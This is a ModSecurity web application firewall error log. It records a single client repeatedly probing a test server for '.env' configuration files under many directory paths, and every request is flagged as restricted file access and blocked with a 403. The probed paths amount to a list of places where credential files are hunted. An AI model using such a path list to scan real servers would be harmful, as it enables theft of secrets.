[Thu Feb 26 01:03:20.279512 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOgAAAAQ&quot;]
[Thu Feb 26 01:03:20.279694 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOgAAAAQ&quot;]
[Thu Feb 26 01:03:20.297891 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr10/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1QAAAAI&quot;]
[Thu Feb 26 01:03:20.298152 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1QAAAAI&quot;]
[Thu Feb 26 01:03:20.298325 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1QAAAAI&quot;]
[Thu Feb 26 01:03:20.335420 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1gAAAAI&quot;]
[Thu Feb 26 01:03:20.335672 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1gAAAAI&quot;]
[Thu Feb 26 01:03:20.335848 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1gAAAAI&quot;]
[Thu Feb 26 01:03:20.357476 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPAAAAAQ&quot;]
[Thu Feb 26 01:03:20.357725 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPAAAAAQ&quot;]
[Thu Feb 26 01:03:20.357884 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPAAAAAQ&quot;]
[Thu Feb 26 01:03:20.386199 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system-config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPQAAAAQ&quot;]
[Thu Feb 26 01:03:20.386443 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPQAAAAQ&quot;]
[Thu Feb 26 01:03:20.386592 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPQAAAAQ&quot;]
[Thu Feb 26 01:03:20.410834 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPgAAAAQ&quot;]
[Thu Feb 26 01:03:20.411111 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPgAAAAQ&quot;]
[Thu Feb 26 01:03:20.411293 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIPgAAAAQ&quot;]
[Thu Feb 26 01:03:20.420619 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2AAAAAI&quot;]
[Thu Feb 26 01:03:20.420841 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2AAAAAI&quot;]
[Thu Feb 26 01:03:20.420999 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2AAAAAI&quot;]
[Thu Feb 26 01:03:20.452470 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2QAAAAI&quot;]
[Thu Feb 26 01:03:20.452733 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2QAAAAI&quot;]
[Thu Feb 26 01:03:20.452903 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2QAAAAI&quot;]
[Thu Feb 26 01:03:20.490699 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /templates/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2gAAAAI&quot;]
[Thu Feb 26 01:03:20.490936 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2gAAAAI&quot;]
[Thu Feb 26 01:03:20.491099 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl2gAAAAI&quot;]
[Thu Feb 26 01:03:20.560790 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /target/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQQAAAAQ&quot;]
[Thu Feb 26 01:03:20.561041 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQQAAAAQ&quot;]
[Thu Feb 26 01:03:20.561213 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQQAAAAQ&quot;]
[Thu Feb 26 01:03:20.595744 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3QAAAAI&quot;]
[Thu Feb 26 01:03:20.596002 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3QAAAAI&quot;]
[Thu Feb 26 01:03:20.596172 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl3QAAAAI&quot;]
[Thu Feb 26 01:03:20.600969 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr10/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIQgAAAAQ&quot;]
